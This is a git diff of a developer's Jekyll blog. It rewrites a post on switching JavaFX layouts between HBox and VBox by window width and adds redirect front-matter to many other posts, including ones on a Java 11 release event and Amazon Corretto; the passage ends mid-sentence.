responsive layout problem in JavaFX. Here I will show how a first solution to create such a responsive layout.' -featuredImage: response-fx -permalink: '2015/09/how-to-create-a-responsive-layout-in-javafx/' -header: - text: Responsive layouts in JavaFX - image: sample ---- -Some days ago [I was asked at twitter about a responsive layout problem in JavaFX](https://twitter.com/j_e_willis/status/641000236119257088). Based on the work that I did with [ResponsiveFX]({{ site.baseurl }}{% post_url 2014-11-04-responsive-design-javafx %}) I was asked how I would create a specific responsive behavior. - -In this special case, an image and a text should next to each other on a desktop. In a smaller (mobile) version the text should be placed under the image. You can find the [question at stackoverflow](http://stackoverflow.com/questions/32021293/javafx-creating-a-responsive-layout), too. - -I want to start with a first look at how the solution should look like. The following picture shows the described layout on a big and on a small screen: - -![responsive](/assets/posts/guigarage-legacy/responsive-1003x1024.png) - -Let's discuss several approaches that we can use to create this behavior. - -## Switch between HBox and VBox - -One suggested solution is to switch between an HBox and a VBox at runtime. This means that on a big screen you will see the image and text wrapped in an HBox and when the size becomes smaller the HBox will be replaced by a VBox. By doing so we need to discuss if we want to reuse the text and image component in both layouts or create a separate instance for each layout. Here I think that recycling of the components is a good idea. If you use 2 instances you need to sync them. By using the JavaFX property API this isn't as hard as it sounds in the first moment but it can still create some errors. So let's have a look at a code snippet that creates the basic view: - -{% highlight java %} -public class ResponsiveLayoutDemo extends Application { - - private Label textLabel; - - private ImageView imageView; - - private HBox hBox; - - private StackPane mainPane; - - @Override - public void start(Stage primaryStage) throws Exception { - this.textLabel = new Label("Lorem ipsum dolor sit amet..."); - textLabel.setWrapText(true); - - this.imageView = new ImageView("http://goo.gl/1tEZxQ"); - imageView.setFitWidth(240); - imageView.setPreserveRatio(true); - - hBox = new HBox(); - hBox.setSpacing(8); - - hBox.getChildren().addAll(imageView, textLabel); - - mainPane = new StackPane(hBox); - mainPane.setPadding(new Insets(24)); - - primaryStage.setScene(new Scene(mainPane)); - primaryStage.show(); - } - - public static void main(String... args) { - launch(args); - } -} -{% endhighlight %} - -When running this example the view will be shown with the text and image next to each other: - -![layout1](/assets/posts/guigarage-legacy/layout1-1024x570.png) - -As a next step we want to refactor the code by using a VBox: - -{% highlight java %} -public class ResponsiveLayoutDemo extends Application { - - private Label textLabel; - - private ImageView imageView; - - private VBox vBox; - - private StackPane mainPane; - - @Override - public void start(Stage primaryStage) throws Exception { - this.textLabel = new Label("Lorem ipsum dolor sit amet..."); - textLabel.setWrapText(true); - - this.imageView = new ImageView("http://goo.gl/1tEZxQ"); - imageView.setFitWidth(240); - imageView.setPreserveRatio(true); - - vBox = new VBox(); - vBox.setSpacing(8); - - vBox.getChildren().addAll(imageView, textLabel); - - mainPane = new StackPane(vBox); - mainPane.setPadding(new Insets(24)); - - primaryStage.setScene(new Scene(mainPane)); - primaryStage.show(); - } - - public static void main(String... args) { - launch(args); - } -} -{% endhighlight %} - -In this example the text will be displayed under the image as it should look on small devices: - -![small](/assets/posts/guigarage-legacy/small-586x1024.png) - -As a last step we want to modify the code and create an application that will change it's layout dynamically: - -{% highlight java %} -public class ResponsiveLayoutDemo extends Application { - - private Label textLabel; - - private ImageView imageView; - - private VBox vBox; - - private HBox hBox; - - private StackPane mainPane; - - @Override - public void start(Stage primaryStage) throws Exception { - this.textLabel = new Label("Lorem ipsum dolor sit amet..."); - textLabel.setWrapText(true); - - this.imageView = new ImageView("http://goo.gl/1tEZxQ"); - imageView.setFitWidth(240); - imageView.setPreserveRatio(true); - - hBox = new HBox(); - hBox.setSpacing(8); - - vBox = new VBox(); - vBox.setSpacing(8); - - mainPane = new StackPane(); - mainPane.setPadding(new Insets(24)); - - changeToLargeLayout(); - - primaryStage.widthProperty().addListener(e -> { - if(primaryStage.getWidth() < 600) { - changeToSmallLayout(); - } else { - changeToLargeLayout(); - } - }); - - primaryStage.setScene(new Scene(mainPane)); - primaryStage.show(); - } - - public void changeToSmallLayout() { - hBox.getChildren().clear(); - vBox.getChildren().clear(); - vBox.getChildren().addAll(imageView, textLabel); - mainPane.getChildren().clear(); - mainPane.getChildren().add(vBox); - } - - public void changeToLargeLayout() { - hBox.getChildren().clear(); - vBox.getChildren().clear(); - hBox.getChildren().addAll(imageView, textLabel); - mainPane.getChildren().clear(); - mainPane.getChildren().add(hBox); - } - - public static void main(String... args) { - launch(args); - } -} -{% endhighlight %} - -In this first try, the mainPane contains the hBox or the vBox depending on the width of the scene. To do so a lister is attached to the width property. In addition, the children of the vBox and hBox will be cleared and the text and image will be attached to the currently visible panel. As you can see in this video the view already behaves as it should: - -{% include posts/youtube.html id="wEt8WKDR7r8" %} - -

There are still some ugly parts in the code. As you might have noticed the listener will be called for each repaint of our stage. therefore nodes will be replaced and added to the scene graph all the time. Here we can use the JavaFX binding API to create a more performant binding. Here is the code snippet that shows the changed code: - -{% highlight java %} -primaryStage.widthProperty().greaterThan(600).addListener((obs, oldValue, newValue) -> { - if (!newValue) { - changeToSmallLayout(); - } else { - changeToLargeLayout(); - } - }); -{% endhighlight %} - -Now the scene graph will only be changed if the size will become greater or smaller than 600 pixels. - -I think this is a valid solution for the given problem and we can create a responsive behavior this way. But I think that it's not the perfect solution and therefore I will show another and easier approach the next days. +--- +title: 'How to create a responsive layout in JavaFX' +redirect_to: https://open-elements.com/posts/2015/09/09/how-to-create-a-responsive-layout-in-javafx/ +layout: post +author: hendrik +categories: [JavaFX, Layout & UI] +excerpt: 'Some days ago I was asked at twitter about a responsive layout problem in JavaFX. Here I will show how a first solution to create such a responsive layout.' +featuredImage: response-fx +permalink: '2015/09/how-to-create-a-responsive-layout-in-javafx/' +header: + text: Responsive layouts in JavaFX + image: sample +--- +Some days ago [I was asked at twitter about a responsive layout problem in JavaFX](https://twitter.com/j_e_willis/status/641000236119257088). Based on the work that I did with [ResponsiveFX]({{ site.baseurl }}{% post_url 2014-11-04-responsive-design-javafx %}) I was asked how I would create a specific responsive behavior. + +In this special case, an image and a text should next to each other on a desktop. In a smaller (mobile) version the text should be placed under the image. You can find the [question at stackoverflow](http://stackoverflow.com/questions/32021293/javafx-creating-a-responsive-layout), too. + +I want to start with a first look at how the solution should look like. The following picture shows the described layout on a big and on a small screen: + +![responsive](/assets/posts/guigarage-legacy/responsive-1003x1024.png) + +Let's discuss several approaches that we can use to create this behavior. + +## Switch between HBox and VBox + +One suggested solution is to switch between an HBox and a VBox at runtime. This means that on a big screen you will see the image and text wrapped in an HBox and when the size becomes smaller the HBox will be replaced by a VBox. By doing so we need to discuss if we want to reuse the text and image component in both layouts or create a separate instance for each layout. Here I think that recycling of the components is a good idea. If you use 2 instances you need to sync them. By using the JavaFX property API this isn't as hard as it sounds in the first moment but it can still create some errors. So let's have a look at a code snippet that creates the basic view: + +{% highlight java %} +public class ResponsiveLayoutDemo extends Application { + + private Label textLabel; + + private ImageView imageView; + + private HBox hBox; + + private StackPane mainPane; + + @Override + public void start(Stage primaryStage) throws Exception { + this.textLabel = new Label("Lorem ipsum dolor sit amet..."); + textLabel.setWrapText(true); + + this.imageView = new ImageView("http://goo.gl/1tEZxQ"); + imageView.setFitWidth(240); + imageView.setPreserveRatio(true); + + hBox = new HBox(); + hBox.setSpacing(8); + + hBox.getChildren().addAll(imageView, textLabel); + + mainPane = new StackPane(hBox); + mainPane.setPadding(new Insets(24)); + + primaryStage.setScene(new Scene(mainPane)); + primaryStage.show(); + } + + public static void main(String... args) { + launch(args); + } +} +{% endhighlight %} + +When running this example the view will be shown with the text and image next to each other: + +![layout1](/assets/posts/guigarage-legacy/layout1-1024x570.png) + +As a next step we want to refactor the code by using a VBox: + +{% highlight java %} +public class ResponsiveLayoutDemo extends Application { + + private Label textLabel; + + private ImageView imageView; + + private VBox vBox; + + private StackPane mainPane; + + @Override + public void start(Stage primaryStage) throws Exception { + this.textLabel = new Label("Lorem ipsum dolor sit amet..."); + textLabel.setWrapText(true); + + this.imageView = new ImageView("http://goo.gl/1tEZxQ"); + imageView.setFitWidth(240); + imageView.setPreserveRatio(true); + + vBox = new VBox(); + vBox.setSpacing(8); + + vBox.getChildren().addAll(imageView, textLabel); + + mainPane = new StackPane(vBox); + mainPane.setPadding(new Insets(24)); + + primaryStage.setScene(new Scene(mainPane)); + primaryStage.show(); + } + + public static void main(String... args) { + launch(args); + } +} +{% endhighlight %} + +In this example the text will be displayed under the image as it should look on small devices: + +![small](/assets/posts/guigarage-legacy/small-586x1024.png) + +As a last step we want to modify the code and create an application that will change it's layout dynamically: + +{% highlight java %} +public class ResponsiveLayoutDemo extends Application { + + private Label textLabel; + + private ImageView imageView; + + private VBox vBox; + + private HBox hBox; + + private StackPane mainPane; + + @Override + public void start(Stage primaryStage) throws Exception { + this.textLabel = new Label("Lorem ipsum dolor sit amet..."); + textLabel.setWrapText(true); + + this.imageView = new ImageView("http://goo.gl/1tEZxQ"); + imageView.setFitWidth(240); + imageView.setPreserveRatio(true); + + hBox = new HBox(); + hBox.setSpacing(8); + + vBox = new VBox(); + vBox.setSpacing(8); + + mainPane = new StackPane(); + mainPane.setPadding(new Insets(24)); + + changeToLargeLayout(); + + primaryStage.widthProperty().addListener(e -> { + if(primaryStage.getWidth() < 600) { + changeToSmallLayout(); + } else { + changeToLargeLayout(); + } + }); + + primaryStage.setScene(new Scene(mainPane)); + primaryStage.show(); + } + + public void changeToSmallLayout() { + hBox.getChildren().clear(); + vBox.getChildren().clear(); + vBox.getChildren().addAll(imageView, textLabel); + mainPane.getChildren().clear(); + mainPane.getChildren().add(vBox); + } + + public void changeToLargeLayout() { + hBox.getChildren().clear(); + vBox.getChildren().clear(); + hBox.getChildren().addAll(imageView, textLabel); + mainPane.getChildren().clear(); + mainPane.getChildren().add(hBox); + } + + public static void main(String... args) { + launch(args); + } +} +{% endhighlight %} + +In this first try, the mainPane contains the hBox or the vBox depending on the width of the scene. To do so a lister is attached to the width property. In addition, the children of the vBox and hBox will be cleared and the text and image will be attached to the currently visible panel. As you can see in this video the view already behaves as it should: + +{% include posts/youtube.html id="wEt8WKDR7r8" %} + +

There are still some ugly parts in the code. As you might have noticed the listener will be called for each repaint of our stage. therefore nodes will be replaced and added to the scene graph all the time. Here we can use the JavaFX binding API to create a more performant binding. Here is the code snippet that shows the changed code: + +{% highlight java %} +primaryStage.widthProperty().greaterThan(600).addListener((obs, oldValue, newValue) -> { + if (!newValue) { + changeToSmallLayout(); + } else { + changeToLargeLayout(); + } + }); +{% endhighlight %} + +Now the scene graph will only be changed if the size will become greater or smaller than 600 pixels. + +I think this is a valid solution for the given problem and we can create a responsive behavior this way. But I think that it's not the perfect solution and therefore I will show another and easier approach the next days. diff --git a/_posts/2015-09-11-creating-an-interactive-application-with-polymer-part-1.md b/_posts/2015-09-11-creating-an-interactive-application-with-polymer-part-1.md index f885502..d1d2ed6 100644 --- a/_posts/2015-09-11-creating-an-interactive-application-with-polymer-part-1.md +++ b/_posts/2015-09-11-creating-an-interactive-application-with-polymer-part-1.md @@ -1,5 +1,6 @@ --- title: 'Creating an interactive application with Polymer (Part 1)' +redirect_to: https://open-elements.com/posts/2015/09/11/creating-an-interactive-application-with-polymer-part-1/ layout: post author: hendrik categories: [Polymer, Web Frontends, WebComponents] diff --git a/_posts/2015-09-16-layered-images-and-icons-with-javafx.md b/_posts/2015-09-16-layered-images-and-icons-with-javafx.md index 7eef29b..63a6abd 100644 --- a/_posts/2015-09-16-layered-images-and-icons-with-javafx.md +++ b/_posts/2015-09-16-layered-images-and-icons-with-javafx.md @@ -1,5 +1,6 @@ --- title: 'Layered images and icons with JavaFX' +redirect_to: https://open-elements.com/posts/2015/09/16/layered-images-and-icons-with-javafx/ layout: post author: hendrik categories: [JavaFX, Layout & UI] diff --git a/_posts/2015-09-18-more-fun-with-layered-icons-in-javafx.md b/_posts/2015-09-18-more-fun-with-layered-icons-in-javafx.md index 0bf3302..df54c5e 100644 --- a/_posts/2015-09-18-more-fun-with-layered-icons-in-javafx.md +++ b/_posts/2015-09-18-more-fun-with-layered-icons-in-javafx.md @@ -1,5 +1,6 @@ --- title: 'More fun with layered icons in javaFX' +redirect_to: https://open-elements.com/posts/2015/09/18/more-fun-with-layered-icons-in-javafx/ layout: post author: hendrik categories: [JavaFX, Layout & UI] diff --git a/_posts/2015-10-04-dolphin-platform-a-sneak-peek.md b/_posts/2015-10-04-dolphin-platform-a-sneak-peek.md index 3569572..8a6a6d2 100644 --- a/_posts/2015-10-04-dolphin-platform-a-sneak-peek.md +++ b/_posts/2015-10-04-dolphin-platform-a-sneak-peek.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform: A Sneak Peek' +redirect_to: https://open-elements.com/posts/2015/10/04/dolphin-platform-a-sneak-peek/ layout: post author: hendrik categories: [Desktop Application Framework (JSR 377), Dolphin Platform, JavaFX] diff --git a/_posts/2015-10-05-dolphin-platform-a-sneak-peek-of-the-controller-api.md b/_posts/2015-10-05-dolphin-platform-a-sneak-peek-of-the-controller-api.md index 2baac80..1ff366b 100644 --- a/_posts/2015-10-05-dolphin-platform-a-sneak-peek-of-the-controller-api.md +++ b/_posts/2015-10-05-dolphin-platform-a-sneak-peek-of-the-controller-api.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform: A Sneak Peek of the controller API' +redirect_to: https://open-elements.com/posts/2015/10/05/dolphin-platform-a-sneak-peek-of-the-controller-api/ layout: post author: hendrik categories: [Dolphin Platform, JavaFX] diff --git a/_posts/2015-10-06-dolphin-platform-a-sneak-peek-of-the-model-api.md b/_posts/2015-10-06-dolphin-platform-a-sneak-peek-of-the-model-api.md index 59de1c1..44a6ecf 100644 --- a/_posts/2015-10-06-dolphin-platform-a-sneak-peek-of-the-model-api.md +++ b/_posts/2015-10-06-dolphin-platform-a-sneak-peek-of-the-model-api.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform: A Sneak Peek of the model API' +redirect_to: https://open-elements.com/posts/2015/10/06/dolphin-platform-a-sneak-peek-of-the-model-api/ layout: post author: hendrik categories: [Dolphin Platform, JavaFX, Web Frontends] diff --git a/_posts/2015-10-07-dolphin-platform-a-sneak-peek-of-the-view-api.md b/_posts/2015-10-07-dolphin-platform-a-sneak-peek-of-the-view-api.md index 4833910..ad3cb71 100644 --- a/_posts/2015-10-07-dolphin-platform-a-sneak-peek-of-the-view-api.md +++ b/_posts/2015-10-07-dolphin-platform-a-sneak-peek-of-the-view-api.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform: A Sneak Peek of the view API' +redirect_to: https://open-elements.com/posts/2015/10/07/dolphin-platform-a-sneak-peek-of-the-view-api/ layout: post author: hendrik categories: [Dolphin Platform, JavaFX] diff --git a/_posts/2015-10-18-dolphin-platform-how-to-create-an-application.md b/_posts/2015-10-18-dolphin-platform-how-to-create-an-application.md index cdace91..b6095e1 100644 --- a/_posts/2015-10-18-dolphin-platform-how-to-create-an-application.md +++ b/_posts/2015-10-18-dolphin-platform-how-to-create-an-application.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform: How to create an application' +redirect_to: https://open-elements.com/posts/2015/10/18/dolphin-platform-how-to-create-an-application/ layout: post author: hendrik categories: [Dolphin Platform, JavaFX] diff --git a/_posts/2015-11-09-dolphin-platform-has-been-released.md b/_posts/2015-11-09-dolphin-platform-has-been-released.md index 768d1f7..da59702 100644 --- a/_posts/2015-11-09-dolphin-platform-has-been-released.md +++ b/_posts/2015-11-09-dolphin-platform-has-been-released.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform has been released' +redirect_to: https://open-elements.com/posts/2015/11/09/dolphin-platform-has-been-released/ layout: post author: hendrik categories: [Dolphin Platform, JavaFX, Polymer, Web Frontends] diff --git a/_posts/2015-11-12-dolphin-platform-in-15-minutes-nighthacking.md b/_posts/2015-11-12-dolphin-platform-in-15-minutes-nighthacking.md index 383c912..a5119f0 100644 --- a/_posts/2015-11-12-dolphin-platform-in-15-minutes-nighthacking.md +++ b/_posts/2015-11-12-dolphin-platform-in-15-minutes-nighthacking.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform in 15 minutes @ Nighthacking' +redirect_to: https://open-elements.com/posts/2015/11/12/dolphin-platform-in-15-minutes-@-nighthacking/ layout: post author: hendrik categories: [Dolphin Platform] diff --git a/_posts/2015-11-16-javaone-after-event-with-some-cool-talks.md b/_posts/2015-11-16-javaone-after-event-with-some-cool-talks.md index c22e8e5..3f50c7b 100644 --- a/_posts/2015-11-16-javaone-after-event-with-some-cool-talks.md +++ b/_posts/2015-11-16-javaone-after-event-with-some-cool-talks.md @@ -1,5 +1,6 @@ --- title: 'JavaOne After Event with some cool talks' +redirect_to: https://open-elements.com/posts/2015/11/16/javaone-after-event-with-some-cool-talks/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2015-12-02-dolphin-platform-jumpstart.md b/_posts/2015-12-02-dolphin-platform-jumpstart.md index 9567fae..3c9d056 100644 --- a/_posts/2015-12-02-dolphin-platform-jumpstart.md +++ b/_posts/2015-12-02-dolphin-platform-jumpstart.md @@ -1,5 +1,6 @@ --- title: 'Dolphin Platform Jumpstart' +redirect_to: https://open-elements.com/posts/2015/12/02/dolphin-platform-jumpstart/ layout: post author: hendrik categories: [Dolphin Platform, JavaFX] diff --git a/_posts/2016-01-13-the-javaone-voting-machine.md b/_posts/2016-01-13-the-javaone-voting-machine.md index 72f81ba..4d63a3a 100644 --- a/_posts/2016-01-13-the-javaone-voting-machine.md +++ b/_posts/2016-01-13-the-javaone-voting-machine.md @@ -1,5 +1,6 @@ --- title: 'The JavaOne Voting Machine' +redirect_to: https://open-elements.com/posts/2016/01/13/the-javaone-voting-machine/ layout: post author: hendrik categories: [IoT, JavaFX] diff --git a/_posts/2016-01-15-reference-cards-for-javafx-web-components-and-open-dolphin.md b/_posts/2016-01-15-reference-cards-for-javafx-web-components-and-open-dolphin.md index 375d09c..a639757 100644 --- a/_posts/2016-01-15-reference-cards-for-javafx-web-components-and-open-dolphin.md +++ b/_posts/2016-01-15-reference-cards-for-javafx-web-components-and-open-dolphin.md @@ -1,5 +1,6 @@ --- title: 'Reference Cards for JavaFX, Web Components and Open Dolphin' +redirect_to: https://open-elements.com/posts/2016/01/15/reference-cards-for-javafx-web-components-and-open-dolphin/ layout: post author: hendrik categories: [JavaFX, Web Frontends, WebComponents] diff --git a/_posts/2016-02-02-how-to-choose-the-right-color.md b/_posts/2016-02-02-how-to-choose-the-right-color.md index f2ab459..a68dd34 100644 --- a/_posts/2016-02-02-how-to-choose-the-right-color.md +++ b/_posts/2016-02-02-how-to-choose-the-right-color.md @@ -1,5 +1,6 @@ --- title: 'How to choose the right color' +redirect_to: https://open-elements.com/posts/2016/02/02/how-to-choose-the-right-color/ layout: post author: hendrik categories: [General, Layout & UI] diff --git a/_posts/2016-02-04-dolphin-platform-0-8-has-beed-released.md b/_posts/2016-02-04-dolphin-platform-0-8-has-beed-released.md index eda1edd..2d957b3 100644 --- a/_posts/2016-02-04-dolphin-platform-0-8-has-beed-released.md +++ b/_posts/2016-02-04-dolphin-platform-0-8-has-beed-released.md @@ -1,4 +1,5 @@ --- +redirect_to: https://open-elements.com/posts/2016/02/04/dolphin-platform-0.8-has-beed-released/ title: 'Dolphin Platform 0.8 has beed released' layout: post author: hendrik diff --git a/_posts/2016-02-04-guigarage-2-0.md b/_posts/2016-02-04-guigarage-2-0.md index 5eb9e31..90bab12 100644 --- a/_posts/2016-02-04-guigarage-2-0.md +++ b/_posts/2016-02-04-guigarage-2-0.md @@ -1,4 +1,5 @@ --- +redirect_to: https://open-elements.com/posts/2016/02/04/guigarage-2.0/ title: 'GuiGarage 2.0' layout: post author: hendrik diff --git a/_posts/2016-02-04-round-images-with-css.md b/_posts/2016-02-04-round-images-with-css.md index 97b2a11..a33dde2 100644 --- a/_posts/2016-02-04-round-images-with-css.md +++ b/_posts/2016-02-04-round-images-with-css.md @@ -1,4 +1,5 @@ --- +redirect_to: https://open-elements.com/posts/2016/02/04/round-images-with-css/ title: 'Round Images with CSS' layout: post author: hendrik diff --git a/_posts/2016-02-07-javafx-and-css.md b/_posts/2016-02-07-javafx-and-css.md index 2007960..e87427b 100644 --- a/_posts/2016-02-07-javafx-and-css.md +++ b/_posts/2016-02-07-javafx-and-css.md @@ -1,5 +1,6 @@ --- title: 'JavaFX and CSS' +redirect_to: https://open-elements.com/posts/2016/02/07/javafx-and-css/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2016-02-09-javafx-and-css-pseudo-classes.md b/_posts/2016-02-09-javafx-and-css-pseudo-classes.md index b48e1a9..23686f9 100644 --- a/_posts/2016-02-09-javafx-and-css-pseudo-classes.md +++ b/_posts/2016-02-09-javafx-and-css-pseudo-classes.md @@ -1,5 +1,6 @@ --- title: 'JavaFX and CSS: Pseudo Classes' +redirect_to: https://open-elements.com/posts/2016/02/09/javafx-and-css-pseudo-classes/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2016-09-20-javafx-jumpstart-javaone.md b/_posts/2016-09-20-javafx-jumpstart-javaone.md index f347964..c43f76b 100644 --- a/_posts/2016-09-20-javafx-jumpstart-javaone.md +++ b/_posts/2016-09-20-javafx-jumpstart-javaone.md @@ -1,5 +1,6 @@ --- title: 'JavaFX JumpStart @ JavaOne' +redirect_to: https://open-elements.com/posts/2016/09/20/javafx-jumpstart-@-javaone/ layout: post author: hendrik categories: [JavaFX] diff --git a/_posts/2016-10-28-my-thoughts-about-java-build-tools.md b/_posts/2016-10-28-my-thoughts-about-java-build-tools.md index 9851f19..a7929c5 100644 --- a/_posts/2016-10-28-my-thoughts-about-java-build-tools.md +++ b/_posts/2016-10-28-my-thoughts-about-java-build-tools.md @@ -1,5 +1,6 @@ --- title: 'Maven vs. Gradle and the Best of Both Worlds' +redirect_to: https://open-elements.com/posts/2016/10/28/maven-vs.-gradle-and-the-best-of-both-worlds/ layout: post author: hendrik categories: [Java] diff --git a/_posts/2018-03-31-future-java-releases-for-desktop.md b/_posts/2018-03-31-future-java-releases-for-desktop.md index 55237e4..c9e412e 100644 --- a/_posts/2018-03-31-future-java-releases-for-desktop.md +++ b/_posts/2018-03-31-future-java-releases-for-desktop.md @@ -1,5 +1,6 @@ --- title: 'What future Java releases mean for legacy desktop apps' +redirect_to: https://open-elements.com/posts/2018/03/31/what-future-java-releases-mean-for-legacy-desktop-apps/ layout: post author: hendrik categories: [General] diff --git a/_posts/2018-06-25-java-releases.md b/_posts/2018-06-25-java-releases.md index 617299e..ec0c90a 100644 --- a/_posts/2018-06-25-java-releases.md +++ b/_posts/2018-06-25-java-releases.md @@ -1,5 +1,6 @@ --- layout: post +redirect_to: https://open-elements.com/posts/2018/06/25/do-i-need-to-pay-for-java-now/ title: 'Do I need to pay for Java now?' author: hendrik featuredImage: adopt-2 diff --git a/_posts/2018-09-16-java-11-licence.md b/_posts/2018-09-16-java-11-licence.md index 10dc8b4..fdd639e 100644 --- a/_posts/2018-09-16-java-11-licence.md +++ b/_posts/2018-09-16-java-11-licence.md @@ -1,4 +1,5 @@ --- +redirect_to: https://open-elements.com/posts/2018/09/16/the-road-to-java-11-builds-and-licences/ layout: post title: 'The road to Java 11 - builds and licences' author: hendrik diff --git a/_posts/2018-09-16-jc-java-article.md b/_posts/2018-09-16-jc-java-article.md index c7d9239..bc61df1 100644 --- a/_posts/2018-09-16-jc-java-article.md +++ b/_posts/2018-09-16-jc-java-article.md @@ -1,4 +1,5 @@ --- +redirect_to: https://open-elements.com/posts/2018/09/16/about-the-java-release-model/ layout: post title: 'About the Java release model' author: hendrik diff --git a/_posts/2018-09-25-java11-release-event.md b/_posts/2018-09-25-java11-release-event.md index d738201..3fc1754 100644 --- a/_posts/2018-09-25-java11-release-event.md +++ b/_posts/2018-09-25-java11-release-event.md @@ -1,19 +1,20 @@ ---- -layout: post -title: 'Java 11 release event' -author: hendrik -featuredImage: java-4 -excerpt: 'Together with Oracle and Heise we will do a Java 11 release event. -The event will be live streamed and recorded at YouTube. If you are interested in the -new features of Java 11 and want to know more information about the new roadmap -of OpenJDK and Oracle you should attend our event online.' -categories: [Java] -header: - text: The road to Java 11 - image: sample ---- -{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} - -Together with Oracle and [Heise](https://www.heise.de/developer/meldung/Jetzt-vormerken-Launch-Event-zu-Java-11-4168709.html), we will do a Java 11 release event on September 25th, 2018. This event will be followed by Hendrik Ebbers and Michael Heinrichs. There will be a YouTube Live Stream from 6 pm UTC+2. We are looking forward to many viewers! - -{% include posts/youtube.html id="CUuCVHWeO-Y" %} +--- +layout: post +redirect_to: https://open-elements.com/posts/2018/09/25/java-11-release-event/ +title: 'Java 11 release event' +author: hendrik +featuredImage: java-4 +excerpt: 'Together with Oracle and Heise we will do a Java 11 release event. +The event will be live streamed and recorded at YouTube. If you are interested in the +new features of Java 11 and want to know more information about the new roadmap +of OpenJDK and Oracle you should attend our event online.' +categories: [Java] +header: + text: The road to Java 11 + image: sample +--- +{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} + +Together with Oracle and [Heise](https://www.heise.de/developer/meldung/Jetzt-vormerken-Launch-Event-zu-Java-11-4168709.html), we will do a Java 11 release event on September 25th, 2018. This event will be followed by Hendrik Ebbers and Michael Heinrichs. There will be a YouTube Live Stream from 6 pm UTC+2. We are looking forward to many viewers! + +{% include posts/youtube.html id="CUuCVHWeO-Y" %} diff --git a/_posts/2018-11-23-amazon-corretto.md b/_posts/2018-11-23-amazon-corretto.md index bfa295b..f776f25 100644 --- a/_posts/2018-11-23-amazon-corretto.md +++ b/_posts/2018-11-23-amazon-corretto.md @@ -1,72 +1,73 @@ ---- -layout: post -title: 'Amazon Corretto announced' -author: hendrik -featuredImage: java-5 -excerpt: 'At the Devoxx conference 2 weeks ago, Amazon announced Corretto as a new player in the OpenJDK market. Next to companies like SAP, Oracle or Bellsoft, the cloud computing company now provides a custom OpenJDK build. On the website Amazon Corretto is described as -"No-cost, multiplatform, production-ready distribution of OpenJDK". In this post I will have a deeper look at Corretto and explain why Amazon did this move.' -categories: [Java, OpenJDK] -header: - text: Amazon Corretto - image: sample ---- -{% include elements/block.html text="This post was originally posted at [dev.karakun.com](https://dev.karakun.com)" %} - -Based on the changes that Oracle announced a year ago about [the new release train and licenses of Java](/java/2018/06/25/java-releases.html) and the Oracle Java distributions it was completely obvious and only a matter of time when additional big players start to distribute custom OpenJDK builds. Some companies like RedHat or IBM did this already for some years to provide custom Java support for existing enterprise customers. The first big player that offered a more general OpenJDK build with custom support was Azul. - -With the new license model of Oracle that only provides free updates for java version (even LTS versions) for 6 months, the door was open for new vendors. Especially cloud providers needed to find a solution for the new situation. If you have Java installed on millions of containers that are running in your cloud you do not want to buy commercial support at Oracle for all of them. But you do not want to use outdated Java versions in production either. Especially in a public cloud infrastructure, you need security fixes as fast as possible. Based on this Microsoft already [announced a partnership with Azul](https://azure.microsoft.com/en-us/blog/microsoft-and-azul-systems-bring-free-java-lts-support-to-azure/) a month ago. - -Amazon decided to not cooperate with a given JDK vendor and provide its distribution as they have announced at Devoxx 2018. The Java distribution of Amazon is named Corretto. [On the product website](https://aws.amazon.com/de/corretto/), Amazon describes Corretto as a "No-cost, multiplatform, production-ready distribution of OpenJDK". Let's have a deeper look at it. - -![Free LTS](/assets/posts/2018-11-23-amazon-corretto/duke_ice.png) - -## About multiplatform support - -Currently, a Java 8 based preview can be downloaded for Linux, Mac, and Windows. Until now, Amazon provides only 64 bit version. Against some other distributions, the download contains an installer (at least for Windows and Mac) that will install the Java distribution on your machine. This is a huge benefit compared to some other vendors that only offer a packed (like tar or zip) folder of the JDK. Plus, Amazon already offers ready to use docker support. If you want to run a java application in a container by using the Corretto JDK you only need to build the open source image: - -{% highlight shell %} -docker build -t amazon-corretto-8 github.com/corretto/corretto-8-docker -{% endhighlight %} - -I am sure that Amazon will offer the images in the official docker hub in the near future. - -Once you have installed Corretto it is ready to use. By calling `java -version` the current preview build of Corretto will give you the following version information: - -{% highlight shell %} -openjdk version "1.8.0_192" -OpenJDK Runtime Environment (build 1.8.0_192-amazon-corretto-preview-b12) -OpenJDK 64-Bit Server VM (build 25.192-b12, mixed mode) -{% endhighlight %} - -## Is Corretto a no-cost JDK? - -For now, you can easily download a Java 11 version everywhere. You can choose between Oracle JDK, Oracle OpenJDK builds, AdoptOpenJDK builds, and many more. While all (except for the Oracle JDK build) can easily be used in production it will become much harder in some months when Java 12 hits the market and the 6 month period of Java 11 ends. Even Java 11 is a so-called LTS release (Long Term Support) companies like Oracle or Azul will only offer updates on Java 11 if you pay commercial support to them. Amazon plans to offer free support and will provide updates for Java 11 with patches (security fixes and bugfixes) for several years. On the FAQ page of Corretto Amazon describes the model like this: - -* Corretto is distributed by Amazon under an Open Source license at no cost to you. It is licensed under the terms of the GNU -* Public License version 2 with the Classpath Exception (GPLv2 with CPE). Amazon does not charge for its use or distribution. -* Amazon will provide security updates for Corretto 8 until at least June 2023. Updates are planned to be released quarterly. -* Corretto 11, corresponding to OpenJDK 11, will be available during the first half of 2019. Amazon will support Corretto 11 with quarterly updates until at least August 2024 - -Based on this you can definitely say that Corretto will be free. To be true Amazon does not provide any commercial support for Corretto.If this is positive or negative depends on your opinion about commercial support. In general, it is positive to have a distributor that offers free LTS support for Java. - -## Is Corretto production ready? - -Since Corretto is based on the sources of OpenJDK and therefore has mostly no functional change against other distributions, this question can be answered in general with “yes”. If you install the Java 8 preview of Corretto, you normally will have absolutely no problems. From my point of view, a more important question is if Corretto will stay production-ready in the future. By providing long term support for Java versions Amazon needs to merge and implement fixes into the Corretto repositories since the work on the OpenJDK branches for a specific version will stop after 6 months. When having a look at the OpenJDK contributors of the last year you will see that Amazon is already an OpenJDK committer. The following diagram gives an idea about the work that some JDK vendors did the last year on OpenJDK. As you can see Amazon was not that active as the big vendors like SAP or 